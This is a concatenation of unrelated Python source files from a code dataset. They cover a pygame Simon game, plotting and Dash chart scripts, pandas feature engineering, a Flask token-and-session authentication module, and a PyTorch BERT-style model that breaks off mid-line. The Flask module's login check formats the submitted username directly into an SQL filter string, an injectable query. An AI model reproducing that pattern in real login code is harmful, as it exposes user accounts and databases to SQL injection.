\r\n\r\n\r\npygame.init() #initialize pygame \r\n\r\ndisplaysurf = pygame.display.set_mode((1000, 800)) #create the pygame surface object \r\npygame.display.set_caption('Simon Game!') #set caption of the game on window \r\n\r\n#list of colors (r,g,b): \r\nblue = (0, 0, 255) \r\nred = (255, 0, 0) \r\nyellow = (255, 255, 0)\r\ngreen = (0, 255, 0)\r\nlightred = (255, 160, 122) \r\nlightblue = (240, 248, 255)\r\nlightyellow = (255, 255, 224)\r\nlightgreen = (152, 251, 152)\r\nwhite = (255, 255, 255)\r\nblack = (0, 0, 0)\r\n\r\n#initial simon game state with 4 rectangles \r\npygame.draw.rect(displaysurf, red, (100, 420, 380, 305), 0)\r\npygame.draw.rect(displaysurf, blue, (520, 75, 380, 305), 0)\r\npygame.draw.rect(displaysurf, green, (520, 420, 380, 305), 0)\r\npygame.draw.rect(displaysurf, yellow, (100, 75, 380, 305), 0)\r\n\r\n\r\n#define the rectangles red = r, blue = b, green = g, yellow = y\r\nrectChoices = ['r', 'b', 'g', 'y']\r\n#level = int(input('Enter level you would like to play: ')) #user specified level of game\r\nlevel = 10\r\n#random color sequence to follow\r\nsequencelist = [] #list that will store the sequence of colors to be displayed \r\ni = 0 \r\n\r\n#get font for text boxes \r\nmyfont = pygame.font.SysFont('Comic Sans MS', 30)\r\nmyfont2 = pygame.font.SysFont('Comic Sans MS', 40)\r\nmyfont3 = pygame.font.SysFont('Comic Sans MS', 60)\r\n\r\nwhile i < level: #will append sequence of colors = user spec'd level\r\n userSequenceList = [] #list that will store all user inputs \r\n sequencelist.append(random.choice(rectChoices))\r\n #remove 'Correct' print from previous level \r\n displaysurf.fill(black, (520, 10, 400, 60))\r\n #display current level \r\n levelText = myfont.render('Level: {a}'.format(a=(i+1)), False, white)\r\n displaysurf.blit(levelText, (240, 15))\r\n pygame.display.update()\r\n if (i + 1) <= 5: #set speed of random sequence\r\n x = 500\r\n elif (i + 1) > 5: #if level greater than 5, increase speed\r\n x = 300\r\n\r\n #for all color sequences highlight for 1 seconds, then reset to default\r\n #iterate through sequence list\r\n pygame.time.wait(1000) #wait 1.0s before starting sequence\r\n for sequence in sequencelist: \r\n if sequence == 'r': \r\n pygame.draw.rect(displaysurf, lightred, (100, 420, 380, 305), 0)\r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n pygame.draw.rect(displaysurf, red, (100, 420, 380, 305), 0)\r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n elif sequence == 'y': \r\n pygame.draw.rect(displaysurf, lightyellow, (100, 75, 380, 305), 0) \r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n pygame.draw.rect(displaysurf, yellow, (100, 75, 380, 305), 0)\r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n elif sequence == 'b': \r\n pygame.draw.rect(displaysurf, lightblue, (520, 75, 380, 305), 0) \r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n pygame.draw.rect(displaysurf, blue, (520, 75, 380, 305), 0)\r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n elif sequence == 'g': \r\n pygame.draw.rect(displaysurf, lightgreen, (520, 420, 380, 305), 0) \r\n pygame.display.update()\r\n pygame.time.wait(x)\r\n pygame.draw.rect(displaysurf, green, (520, 420, 380, 305), 0)\r\n pygame.display.update() \r\n pygame.time.wait(x) \r\n\r\n #main game loop \r\n while len(userSequenceList) != (i + 1): #go until user has completed the sequence\r\n displaysurf.fill(black, (520, 10, 400, 60))\r\n yourTurn = myfont.render('Your turn', False, white) #display its users turn\r\n displaysurf.blit(yourTurn, (520, 15))\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT: #if X button pressed on pygame window, exit the window \r\n pygame.quit()\r\n sys.exit()\r\n\r\n #handles mousebuttonDOWN event (if mouse pushed down, highlight the respective block ) \r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n #get current mouse position if clicked\r\n mouse = pygame.mouse.get_pos()\r\n #Mouse click highlights block \r\n #red block highlight \r\n if 480 >= mouse[0] >= 100 and 725 >= mouse[1] >= 420: \r\n pygame.draw.rect(displaysurf, lightred, (100, 420, 380, 305), 0) \r\n #yellow block highlight\r\n elif 480 >= mouse[0] >= 100 and 380 >= mouse[1] >= 75: \r\n pygame.draw.rect(displaysurf, lightyellow, (100, 75, 380, 305), 0) \r\n #blue block highlight \r\n elif 900 >= mouse[0] >= 520 and 380 >= mouse[1] >= 75: \r\n pygame.draw.rect(displaysurf, lightblue, (520, 75, 380, 305), 0) \r\n #green block highlight\r\n elif 900 >= mouse[0] >= 520 and 725 >= mouse[1] >= 420: \r\n pygame.draw.rect(displaysurf, lightgreen, (520, 420, 380, 305), 0) \r\n pygame.display.update()\r\n \r\n #once mouse button released, reset color and append sequence color to user list \r\n elif event.type == pygame.MOUSEBUTTONUP: \r\n #get current mouse position if clicked\r\n mouse = pygame.mouse.get_pos()\r\n #Mouse click highlights block \r\n #red block highlight \r\n if 480 >= mouse[0] >= 100 and 725 >= mouse[1] >= 420: \r\n pygame.draw.rect(displaysurf, red, (100, 420, 380, 305), 0) \r\n userSequenceList.append('r')\r\n #yellow block highlight\r\n elif 480 >= mouse[0] >= 100 and 380 >= mouse[1] >= 75: \r\n pygame.draw.rect(displaysurf, yellow, (100, 75, 380, 305), 0) \r\n userSequenceList.append('y')\r\n #blue block highlight \r\n elif 900 >= mouse[0] >= 520 and 380 >= mouse[1] >= 75: \r\n pygame.draw.rect(displaysurf, blue, (520, 75, 380, 305), 0) \r\n userSequenceList.append('b')\r\n #green block highlight\r\n elif 900 >= mouse[0] >= 520 and 725 >= mouse[1] >= 420: \r\n pygame.draw.rect(displaysurf, green, (520, 420, 380, 305), 0) \r\n userSequenceList.append('g')\r\n pygame.display.update()\r\n\r\n #THIS IS BAD but make level text invisible so next level can be seen \r\n levelText = myfont.render('Level: {a}'.format(a=(i+1)), False, black)\r\n displaysurf.blit(levelText, (240, 15))\r\n\r\n #make your turn black \r\n yourTurn = myfont.render('Your turn', False, black)\r\n displaysurf.blit(yourTurn, (520, 15))\r\n\r\n pygame.display.update()\r\n\r\n #check is user sequence is equal to random sequence\r\n if userSequenceList == sequencelist: \r\n youWin = myfont2.render('Correct!!!', False, white)\r\n displaysurf.blit(youWin, (520, 10))\r\n pygame.display.update()\r\n else: \r\n displaysurf.fill(black, (0, 0, 1000, 800)) #make entire screen black \r\n youLose = myfont3.render('You Lose! Better luck next time!', \r\n False, white)\r\n displaysurf.blit(youLose, (42, 350))\r\n pygame.display.update()\r\n pygame.time.wait(3000) #display losing screen for 4 seconds\r\n pygame.quit() #if you lose, the game will exit\r\n\r\n if i + 1 == level: #if the user beats the final level, display congrats\r\n #if it gets here the user has one the game \r\n displaysurf.fill(black, (0, 0, 1000, 800)) #make entire screen black \r\n congrats1 = myfont3.render('Congrats!!! You beat {a} levels!!'.format(a=(i + 1)), \r\n False, white)\r\n displaysurf.blit(congrats1, (75, 350))\r\n pygame.display.update() #display congrats message for 4 sec \r\n pygame.time.wait(3000)\r\n pygame.quit()\r\n \r\n i += 1 #iterate level counter \r\n\r\n #wait 1s before starting next level\r\n pygame.time.wait(1000) \r\n","sub_path":"simon.py","file_name":"simon.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"389786032","text":"from matplotlib import pyplot as plt\nfrom model_data import ModelData, ModelResults\nimport torch\n\n\ndef render_results(results: ModelResults = None):\n # Create figure with axes\n fig, axes = plt.subplots(nrows=1, ncols=1, figsize=(8, 6))\n results_ax = axes\n\n # Plot the training and validation results and the original data\n # Original data\n temperature_unknown = results.model_data.temp_unknown.detach().clone()\n temperature_celsius = results.model_data.temp_celsius.detach().clone()\n results_ax.scatter(temperature_unknown, temperature_celsius, marker=\"x\", color='orange', label='All input data')\n\n # Training Prediction\n temperature_unknown_training = results.training_data.temp_unknown.detach().clone() # clone and detach to disconnect from gradient graph\n temperature_unknown_training, indices_unknown = torch.sort(temperature_unknown_training)\n temperature_celsius_training_prediction = results.temperature_celsius_training_prediction.detach().clone()\n temperature_celsius_training_prediction, indices_celsius_prediction = torch.sort(temperature_celsius_training_prediction)\n results_ax.plot(temperature_unknown_training, temperature_celsius_training_prediction, marker=\"o\", color='red', label='Training prediction')\n\n # Validation Prediction\n temperature_unknown_validation = results.validation_data.temp_unknown.detach().clone()\n temperature_unknown_validation, indices_unknown_validation = torch.sort(temperature_unknown_validation)\n temperature_celsius_validation_prediction = results.temperature_celsius_validation_prediction.detach().clone()\n temperature_celsius_validation_prediction, indices_celsius_validation = torch.sort(temperature_celsius_validation_prediction)\n results_ax.plot(temperature_unknown_validation, temperature_celsius_validation_prediction, marker=\"o\", color='green', label='Validation prediction')\n\n # Labels\n fig.suptitle(\"Prediction Results\", fontsize=12)\n results_ax.legend()\n results_ax.set_ylabel(\"Temperature (Celsius)\")\n results_ax.set_xlabel(\"Temperature (Unknown)\")\n\n plt.show()\n\n\n\ndef render_scatter_input_data(data: ModelData):\n fig, axes = plt.subplots(nrows=3, ncols=1, figsize=(8.5, 11))\n\n temperature_celsius_ax = axes[0]\n temperature_unknown_ax = axes[1]\n merged_ax = axes[2]\n\n # Prepare data for plotting\n count = data.temp_celsius.size()[0]\n observations = torch.arange(0, count)\n temp_celsius, indices = torch.sort(data.temp_celsius)\n temp_unknown, indices_2 = torch.sort(data.temp_unknown)\n\n # Create scatter plots\n temperature_celsius_ax.scatter(observations, temp_celsius)\n temperature_unknown_ax.scatter(observations, temp_unknown)\n merged_ax.scatter(temp_unknown, temp_celsius)\n\n # Labels\n temperature_celsius_ax.set_ylabel(\"Temperature (Celsius)\")\n temperature_celsius_ax.set_xlabel(\"Measurement\")\n temperature_unknown_ax.set_ylabel(\"Temperature (Unknown)\")\n temperature_unknown_ax.set_xlabel(\"Measurement\")\n fig.suptitle(\"Input Data\", fontsize=12)\n merged_ax.set_ylabel(\"Temperature (Celsius)\")\n merged_ax.set_xlabel(\"Temperature (Unknown)\")\n plt.show()","sub_path":"p1ch5/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"512054466","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\n\n########### Define your variables ######\n\nmyheading = \"National League Team Win Totals\"\nmytitle = \"Win totals\"\nx_values = ['1990', '1991', '1992', '1993', '1994', '1995']\ny1_values = [65, 94, 98, 104, 68, 90]\ny2_values = [77, 77, 78, 84, 49, 73]\ny3_values = [91, 74, 90, 73, 66, 85]\ncolor1 = '#fc9403'\ncolor2 = '#0307fc'\ncolor3 = '#9003fc'\nname1 = 'ATL'\nname2 = 'CHC'\nname3 = 'CIN'\ntabtitle = 'baseball'\nsourceurl = 'https://www.baseball-reference.com'\ngithublink = 'https://github.com/szilviaaltorjai/dash-linechart-example'\nnotes = 'ATL: Atlanta Braves, Milwaukee Braves, Boston Bees, Boston Braves, Boston Rustlers, Boston Doves, Boston Beaneaters, Boston Red Stockings; CHC: Chicago Cubs, Chicago Orphans, Chicago Colts, Chicago White Stockings; CIN: Cincinnati Redlegs, Cincinnati Reds,Cincinnati Red Stockings'\n\n########### Set up the chart\n\n# create traces\ntrace0 = go.Scatter(\n x = x_values,\n y = y1_values,\n mode = 'lines',\n marker = {'color': color1},\n name = name1\n)\ntrace1 = go.Scatter(\n x = x_values,\n y = y2_values,\n mode = 'lines',\n marker = {'color': color2},\n name = name2\n)\ntrace2 = go.Scatter(\n x = x_values,\n y = y3_values,\n mode = 'lines',\n marker = {'color': color3},\n name = name3\n)\n\n# assign traces to data\ndata = [trace0, trace1, trace2]\nlayout = go.Layout(\n title = mytitle\n)\n\n# Generate the figure dictionary\nfig = go.Figure(data=data,layout=layout)\n\n########### Initiate the app\napp = dash.Dash()\nserver = app.server\napp.title=tabtitle\napp.css.append_css({\"external_url\": \"https://codepen.io/chriddyp/pen/bWLwgP.css\"})\n\n########### Set up the layout\napp.layout = html.Div(children=[\n html.H1(myheading),\n dcc.Graph(\n id='figure-1',\n figure=fig\n ),\n html.A('Code on Github', href=githublink),\n html.Br(),\n html.A(\"Data Source\", href=sourceurl),\n ]\n)\n\n############ Deploy\nif __name__ == '__main__':\n app.run_server()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"292047803","text":"import pandas as pd\nfrom getPath import *\nimport numpy as np\npardir = getparentdir()\n# user_log_path = pardir+'/data/user_log_format1.csv'\nuser_log_path = pardir+'/testaddfeature.csv'\n\ndef get_user_month_features(data):\n usermonthpath = pardir+'/middledata/usermonthfeature.csv'\n months = pd.DataFrame(data['time_stamp'])\n data['month'] = months.applymap(lambda x: (str(x))[:-2])\n c = pd.DataFrame({'count':data.groupby([\"user_id\",\"month\",\"action_type\"]).size()}).reset_index()\n\n table = pd.pivot_table(c,values='count', # 相比values = ['count']，虽然内容一样，但是df还是有区别的：\n # 列索引少了一个level ‘count’\n index = [\"user_id\",\"month\"],\n columns = ['action_type'],\n fill_value=0,\n aggfunc='mean' # 默认就是mean\n )\n\n table = pd.pivot_table(table,values=[0,1,2], # values指的是前面已经生成的table的action_type的取值\n index = [\"user_id\"],columns = ['month'],fill_value=0)\n\n # 这里是二合一的方法：\n # table = pd.pivot_table(data = c,\n # values = 'count',\n # index = ['user_id'],\n # columns = ['aciton_type','month'],\n # fill_value = 0\n # ).pop([0,1,2])\n\n table.reset_index(level=[\"user_id\"],inplace = True)\n\n values = np.array(table.values)\n res = pd.DataFrame()\n res['user_id'] = values[:,0]\n for i in range(1,len(values[0])):\n res[str(i)] = values[:,i] # 难道这不是做了一个重命名的事情？这是什么逻辑？\n\n res.to_csv(usermonthpath,encoding='utf-8',mode = 'w', index = False)\n\ndata = pd.read_csv(user_log_path)\nget_user_month_features(data)\n\n","sub_path":"repeatebuyer-master/addfeatures.py","file_name":"addfeatures.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"302426295","text":"class Solution:\n \"\"\"\n @param start: The start of the edges set\n @param end: The end of the edges set\n @return: Return the subtree count\n \"\"\"\n def getSubtreeCount(self, start, end):\n edges = zip(start, end)\n from operator import mul\n from collections import defaultdict as ddic, deque\n graph = ddic(list)\n rgraph = ddic(list)\n degree = ddic(int)\n for u, v in edges:\n graph[u].append(v)\n rgraph[v].append(u)\n degree[u] += 1\n degree[v]\n\n dp = ddic(int)\n MOD = 10000007\n leaves = deque(k for k in degree if degree[k] == 0)\n while leaves:\n node = leaves.popleft()\n try:\n bns = 1\n for x in graph[node]:\n bns *= 1 + dp[x]\n bns %= MOD\n\n dp[node] = bns\n except:\n dp[node] = 1\n for par in rgraph[node]:\n degree[par] -= 1\n if degree[par] == 0:\n leaves.append(par)\n return sum(dp.values()) % MOD\n","sub_path":"Contest 30 Quarter #1/1383. Subtree Count/alex.py","file_name":"alex.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481892826","text":"'''\nhttp://www.reddit.com/r/dailyprogrammer/comments/341c03/20150427_challenge_212_easy_r%C3%B6varspr%C3%A5ket/\n\nWhen we Swedes are young, we are taught a SUPER-SECRET language that only kids\nknow, so we can hide secrets from our confused parents. This language is known\nas \"Rovarspraket\" (which means \"Robber's language\", more or less), and is\nsurprisingly easy to become fluent in, at least when you're a kid. Recently,\nthe cheeky residents of /r/Sweden decided to play a trick on the rest on\nreddit, and get a thread entirely in Rovarspraket to /r/all. The results were\nhilarious.\n\nRovarspraket is not very complicated: you take an ordinary word and replace the\nconsonants with the consonant doubled and with an \"o\" in between. So the\nconsonant \"b\" is replaced by \"bob\", \"r\" is replaced with \"ror\", \"s\" is replaced\nwith \"sos\", and so on. Vowels are left intact. It's made for Swedish, but it\nworks just as well in English.\n\nYour task today is to write a program that can encode a string of text into\nRovarspraket. (note: this is a higly guarded Swedish state secret, so I trust\nthat none of you will share this very privileged information with anyone! If\nyou do, you will be extradited to Sweden and be forced to eat surstromming as\npenance.) (note 2: surstromming is actually not that bad, it's much tastier\nthan its reputation would suggest! I'd go so far as to say that it's the\ntastiest half-rotten fish in the world!)\n'''\nimport string\n\nvowels = 'aeiouAEIOU'\n\ndef is_consonant(letter):\n return letter in string.ascii_letters and letter not in vowels\n\ndef translate(string):\n result = ''\n for char in string:\n if is_consonant(char):\n result += char + 'o' + char.lower()\n else:\n result += char\n return result\n\nif __name__ == '__main__':\n print(translate(\"I'm speaking Robber's language!\"))","sub_path":"C212E_rovarspraket.py","file_name":"C212E_rovarspraket.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"254747216","text":"from flask import request, current_app, jsonify\nfrom flask_httpauth import HTTPBasicAuth, HTTPTokenAuth, MultiAuth\nfrom flask_restful import Resource\nfrom itsdangerous import (TimedJSONWebSignatureSerializer as Serializer, BadSignature, SignatureExpired)\nfrom passlib.apps import custom_app_context as pwd_context\nfrom sqlalchemy import Table\n\nimport datetime\nimport json\nimport os\nimport secrets\nimport sqlalchemy\n\nimport logging\nfrom flask.logging import default_handler\nlog = logging.getLogger('own_auth')\nlog.setLevel(logging.DEBUG) # INFO\nlog.addHandler(default_handler)\n\n\nAUTHENTICATION_TABLE = 'users'\nAUTHENTICATION_ID = 'iduser'\nAUTHENTICATION_LOGINNAME_1 = 'username'\nAUTHENTICATION_LOGINNAME_2 = 'email'\nAUTHENTICATION_CREDENTIAL = 'credential_hash'\nAUTHENTICATION_LEVEL = 'authentication_level'\n\ntoken_auth = HTTPTokenAuth('Bearer')\nauth_login = HTTPBasicAuth()\nauth = MultiAuth(auth_login, token_auth)\n\n\n# This authentication function is only called for table accesses and NOT for the login route\n@token_auth.verify_token\ndef verify_token(token):\n # verify_token - return value:\n # False = token failed, authentication required; Flask will return a 401 http reply\n # True = token succeed, NO authentication required; everything's fine - continue the request\n\n # handle logout request here also (logout on every route is possible by sending the 'logout' argument)\n if LoginTokenApi.LOGOUT_PARAM in request.args:\n if current_app.user:\n current_app.user.end_session()\n current_app.user = None\n return True\n\n # first try to authenticate by token\n user, session_key = User.verify_auth_token(token)\n current_app.user = user\n if user:\n # the token is known and it is a valid user\n session_key_valid = user.is_session_key_valid(session_key)\n auth_required_after, is_login_route = is_auth_table_required()\n # auth_required_after means: this request needs admin access\n # TODO: access is currently only for admin - not admin and not user dependent\n if not auth_required_after:\n # the table does not require authentication\n return True # NO authentication\n elif session_key_valid and user.is_admin():\n # the admin is allowed to do everything\n return True # NO authentication for admin\n elif session_key_valid and auth_required_after:\n # the session key is valid but the table is not authenticated\n return False # require authentication\n else:\n # the session key is invalid but the table require authentication\n return False # require authentication\n\n # the token is unknown or empty -> check if the table requires an authentication at all\n # the table can be configured to be writable by anyone and/or readable by anyone\n auth_required_after, is_login_route = is_auth_table_required()\n # return False: needs authentication\n # True: NO authentication needed\n return not auth_required_after\n\n\nclass User:\n def __init__(self, user_row):\n self.user = user_row\n self.password_hash = user_row.credential_hash\n\n def hash_password(self, password):\n self.user.credential_hash = pwd_context.encrypt(password)\n\n def verify_password(self, password):\n if not self.user:\n return False\n if 'credential_hash' not in self.user:\n return False\n\n try:\n return pwd_context.verify(password, self.user.credential_hash)\n except ValueError as e:\n log.error('Error verifying the new password against the existing hash: {0}'.format(e))\n return False\n\n def generate_auth_token(self, session_key, expiration_seconds):\n s = Serializer(current_app.config['SECRET_KEY'], expires_in=expiration_seconds)\n return s.dumps({'id': self.user.iduser, 'session_key': session_key})\n\n def is_admin(self):\n if self.user['authentication_level'] > 0:\n return True\n return False\n\n @staticmethod\n def verify_auth_token(token):\n s = Serializer(current_app.config['SECRET_KEY'])\n try:\n data = s.loads(token)\n except SignatureExpired:\n return None, None # valid token, but expired\n except BadSignature:\n return None, None # invalid token\n\n # here, the token is checked and verified\n\n user_row = User.read_user_row_from_db('{0}.{1}={2}'.format(AUTHENTICATION_TABLE, AUTHENTICATION_ID, data['id']))\n if not user_row:\n return None, None\n\n user = User(user_row)\n return user, data['session_key']\n\n @staticmethod\n def calc_hash_password(password):\n if not password:\n return None\n return pwd_context.encrypt(password)\n\n @staticmethod\n def read_user_row_from_db(filter_str):\n if current_app.config['db_fail']:\n # no DB connection, wrong config -> deny access\n return None\n\n db_connect = current_app.config['db_connect']\n employees: Table = current_app.config['db'][AUTHENTICATION_TABLE]\n sel = employees.select(whereclause=sqlalchemy.sql.text(filter_str))\n try:\n result = db_connect.execute(sel)\n except sqlalchemy.exc.SQLAlchemyError as e:\n msg = 'error getting user with WHERE {0}: {1}'.format(filter_str, e)\n log.error(msg)\n return None\n\n user_row = result.fetchone()\n if not user_row:\n return None\n\n return user_row\n\n @staticmethod\n def check_initial_user(app):\n if app.config['db_fail']:\n # no DB connection, wrong config -> deny access\n return False\n\n users: Table = app.config['db'][AUTHENTICATION_TABLE]\n sel = users.select() # whereclause=sqlalchemy.sql.text('config.idconfig=1'))\n try:\n result = app.config['db_connect'].execute(sel)\n except sqlalchemy.exc.IntegrityError as e:\n msg = 'error getting employees: {0}'.format(e)\n log.error(msg)\n return False\n\n has_admin = False\n id_init_user = None\n for row in result:\n if row[AUTHENTICATION_LEVEL] and (row[AUTHENTICATION_LEVEL] > 0):\n has_admin = True\n\n if row[AUTHENTICATION_LOGINNAME_1] and (row[AUTHENTICATION_LOGINNAME_1] == app.config['default_admin_user'][AUTHENTICATION_LOGINNAME_1]):\n id_init_user = row[AUTHENTICATION_ID]\n\n if id_init_user is None:\n admin_config = app.config['default_admin_user']\n ins = users.insert() \\\n .values({AUTHENTICATION_LOGINNAME_1: admin_config['username'],\n 'firstname': admin_config['firstname'],\n 'lastname': admin_config['lastname'],\n AUTHENTICATION_CREDENTIAL: pwd_context.encrypt(admin_config['password']),\n AUTHENTICATION_LEVEL: admin_config['authentication_level'],\n 'state': 'active'})\n\n try:\n result = app.config['db_connect'].execute(ins)\n except sqlalchemy.exc.IntegrityError as e:\n msg = 'error creating a default user: {0}'.format(e)\n log.error(msg)\n return False\n\n return True\n\n # --- session handling ---\n\n @staticmethod\n def generate_session_key():\n return secrets.token_hex(nbytes=32) # 32 bytes * 8 bits = 256 bit safe encryption\n\n def get_session_filename(self):\n if not self.user:\n return ''\n if AUTHENTICATION_ID not in self.user:\n return ''\n if not self.user[AUTHENTICATION_ID]:\n return ''\n filename = 'session_{0}'.format(self.user[AUTHENTICATION_ID])\n return os.path.join(current_app.config['session_dir'], filename)\n\n def is_session_key_valid(self, key):\n if not key:\n return False\n filename = self.get_session_filename()\n if not filename:\n return False\n if not os.path.isfile(filename):\n return False\n\n # check the session validity within the file only\n try:\n with open(filename, 'r') as sf:\n session_dict = json.load(sf)\n except:\n return False\n if not session_dict['key']:\n return False\n return session_dict['key'] == key\n\n def new_session(self):\n filename = self.get_session_filename()\n if not filename:\n log.error('Session file name undefined: {0}'.format(self.user))\n return {}\n\n session_dict = {}\n try:\n with open(filename, 'r') as sf:\n session_dict = json.load(sf)\n except:\n log.debug('Session file not existing already: {0}'.format(filename))\n session_dict['name'] = self.user[AUTHENTICATION_LOGINNAME_1]\n session_dict['start_time'] = datetime.datetime.now().isoformat(timespec='minutes')\n session_dict['key'] = self.generate_session_key()\n try:\n with open(filename, 'w') as sf:\n json.dump(session_dict, sf, indent='\\t')\n except Exception as e:\n log.error('Unable to save session file {0}: {1}'.format(filename, e))\n return session_dict\n\n def end_session(self):\n filename = self.get_session_filename()\n if not filename:\n log.debug('Session file name undefined: {0}'.format(self.user))\n return\n\n session_dict = {}\n try:\n with open(filename, 'r') as sf:\n session_dict = json.load(sf)\n except:\n log.debug('Session file not existing at all: {0}'.format(filename))\n return\n\n # clear the key so it will be invalid in future\n session_dict['key'] = None\n\n try:\n with open(filename, 'w') as sf:\n json.dump(session_dict, sf, indent='\\t')\n except Exception as e:\n log.error('Unable to save session file {0}: {1}'.format(filename, e))\n\n\ndef is_auth_table_required():\n \"\"\"\n Parse the request's URL and check if the table exists and requires an authentication.\n Also check it is a http GET request and if it's allowed to read by read by anyone.\n TODO: access is currently only for admin - not admin and not user dependent\n :return: authentication_required, is_login_route\n \"\"\"\n url_table = request.url[request.url.rindex('/') + 1:]\n if len(url_table) < 2:\n log.error('authentication check: url contains no route!? [{0}]'.format(request.url))\n return True, False # this will trigger a 401 response\n\n customview_spec = current_app.config['customview_spec']\n\n allow_write = False # default: read only!\n allow_read = True # TODO: default: read everyone; it's a bit dangerous...\n is_login_route = False\n\n if url_table in customview_spec:\n if '_attributes' in customview_spec[url_table]:\n if 'login_route' in customview_spec[url_table]['_attributes']:\n # for login: enforce login, otherwise we don't get in!\n allow_write = False\n is_login_route = True\n\n elif 'write_everyone' in customview_spec[url_table]['_attributes']:\n allow_write = True\n\n elif 'write_table_admin' in customview_spec[url_table]['_attributes']:\n allow_write = False # this means it is not writable for everyone\n\n log.info('authentication for post request to {0}: allow_write={1}'.format(url_table, allow_write))\n\n if allow_write:\n # no authentication required; everything's fine\n return False, is_login_route\n\n if allow_read and request.method == 'GET':\n # no authentication required; everything's fine\n return False, is_login_route\n\n # authentication required\n return True, is_login_route\n\n\n@auth_login.verify_password\ndef verify_password(username_or_token, password):\n if request.args.get(LoginTokenApi.LOGOUT_PARAM):\n if current_app.user:\n current_app.user.end_session()\n current_app.user = None\n return True\n\n # search in form data for token\n form_data = None\n if request.form:\n form_data = dict(request.form)\n elif request.data:\n form_data = json.loads(request.data.decode('utf-8'))\n elif request.json:\n form_data = request.json\n\n if not username_or_token:\n if form_data and ('auth_token' in form_data):\n # found token in form data -> check if it's valid\n username_or_token = form_data['auth_token']\n\n auth_required_before, is_login_route = is_auth_table_required()\n if not username_or_token:\n return not auth_required_before\n\n # first try to authenticate by token\n user, session_key = User.verify_auth_token(username_or_token)\n if user:\n current_app.user = user\n session_valid = user.is_session_key_valid(session_key)\n auth_required_after, is_login_route = is_auth_table_required()\n return not auth_required_after\n\n user_row = User.read_user_row_from_db('{0}.{1}=\"{2}\"'.format(AUTHENTICATION_TABLE, AUTHENTICATION_LOGINNAME_1, username_or_token))\n if not user_row:\n return False\n\n user = User(user_row)\n if user and (not user.verify_password(password)):\n msg = 'error authentication of user: {0}'.format(username_or_token)\n log.error(msg)\n return False\n\n current_app.user = user\n auth_required_after, is_login_route = is_auth_table_required()\n if is_login_route:\n return True\n return not auth_required_after\n\n\nclass LoginTokenApi(Resource):\n LOGOUT_PARAM = 'logout'\n method_decorators = {'post': [auth.login_required], 'get': [auth.login_required]}\n\n def get(self):\n if self.LOGOUT_PARAM in request.args:\n msg = 'Logout succeed'\n log.info(msg)\n if current_app.user:\n current_app.user.end_session()\n current_app.user = None\n return {self.LOGOUT_PARAM: True}, 200\n\n if current_app.user:\n session_dict = current_app.user.new_session()\n if 'key' in session_dict:\n expiration_time = current_app.config['login_expiration_seconds']\n token = current_app.user.generate_auth_token(session_dict['key'], expiration_time) # in seconds\n return jsonify({'token': token.decode('ascii'), 'duration': expiration_time, 'is_admin': current_app.user.is_admin()})\n # else: error already logged (maybe session file not writable)\n\n return {'errmsg': 'not able to log in; check server\\'s log'}, 401\n","sub_path":"flask_squirrel/util/session_auth.py","file_name":"session_auth.py","file_ext":"py","file_size_in_byte":14727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"139803567","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom src.blocks import *\n\n\nclass PositionalEncoding(nn.Module):\n \"\"\"\n Positional Encoding module [Vaswani et al. NeurIPS 2017].\n\n Adds sinusoids with wavelengths of increasing length (lower freq) along the embedding dimension. \n First dimension has wavelength 2π while last dimension has wavelength max_length.\n \"\"\"\n def __init__(self, dim, dropout_prob, max_length=10000):\n super().__init__()\n self.dropout = nn.Dropout(dropout_prob)\n encoding = torch.zeros(max_length, dim)\n position = torch.arange(0, max_length).unsqueeze(1)\n div_term = torch.exp(torch.arange(0, dim, 2) * (-math.log(max_length / 2 / math.pi) / dim))\n encoding[:, 0::2] = torch.sin(position * div_term)\n encoding[:, 1::2] = torch.cos(position * div_term)\n self.register_buffer(\"encoding\", encoding)\n\n def forward(self, x, token_dim=1):\n return self.dropout(x + self.encoding[:x.shape[token_dim], :])\n\n\nclass BERTLanguageModel(nn.Module):\n \"\"\"\n BERT-based [Devlin et al. NAACL 2019] language model to predict the next word given a context.\n\n This is just a stack of encoder blocks followed by a pooling layer for classification.\n\n Notes\n -----\n Instead of a token, we use a pooling by multi-head attention (PMA) block for final layer.\n \"\"\"\n def __init__(self, device, vocab_size, num_layers, dim, hidden_dim, \n num_heads=8, dropout_prob=0.1, max_length=10000):\n super().__init__()\n self.device = device\n self.dim = dim\n self.embedding = nn.Embedding(vocab_size, dim, padding_idx=1)\n self.positional_encoding = PositionalEncoding(dim, dropout_prob, max_length)\n self.pool = PMA(dim, num_heads, num_seeds=1)\n self.fc = nn.Linear(dim, vocab_size, bias=True)\n self.layers = nn.ModuleList()\n for _ in range(num_layers):\n self.layers.append(EncoderBlock(dim, hidden_dim, num_heads, dropout_prob))\n self.initialize_weights()\n self.set_device()\n\n def initialize_weights(self):\n nn.init.xavier_normal_(self.fc.weight)\n nn.init.constant_(self.fc.bias, 0)\n\n def set_device(self):\n for m in self.modules():\n m = m.to(self.device)\n\n def forward(self, x):\n x = self.embedding(x)\n x = self.positional_encoding(x)\n for layer in self.layers:\n x = layer(x)\n x = 